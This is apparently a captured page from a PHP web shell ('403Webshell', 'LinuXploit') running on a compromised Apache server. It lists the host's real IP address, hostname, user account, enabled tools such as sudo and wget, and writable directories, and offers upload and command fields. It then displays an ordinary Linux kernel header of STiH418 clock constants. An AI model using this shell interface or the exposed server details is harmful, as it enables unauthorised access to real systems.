- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.135.249.119
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/kernels/4.18.0-553.30.1.lve.el8.x86_64/include/dt-bindings/clock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/kernels/4.18.0-553.30.1.lve.el8.x86_64/include/dt-bindings/clock/stih418-clks.h
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * This header provides constants clk index STMicroelectronics
 * STiH418 SoC.
 */
#ifndef _DT_BINDINGS_CLK_STIH418
#define _DT_BINDINGS_CLK_STIH418

#include "stih410-clks.h"

/* STiH418 introduces new clock outputs compared to STiH410 */

/* CLOCKGEN C0 */
#define CLK_PROC_BDISP_0        14
#define CLK_PROC_BDISP_1        15
#define CLK_TX_ICN_1            23
#define CLK_ETH_PHYREF          27
#define CLK_PP_HEVC             35
#define CLK_CLUST_HEVC          36
#define CLK_HWPE_HEVC           37
#define CLK_FC_HEVC             38
#define CLK_PROC_MIXER		39
#define CLK_PROC_SC		40
#define CLK_AVSP_HEVC		41

/* CLOCKGEN D2 */
#undef CLK_PIX_PIP
#undef CLK_PIX_GDP1
#undef CLK_PIX_GDP2
#undef CLK_PIX_GDP3
#undef CLK_PIX_GDP4

#define CLK_TMDS_HDMI_DIV2	5
#define CLK_VP9			47
#endif

Youez - 2016 - github.com/yon3zu
LinuXploit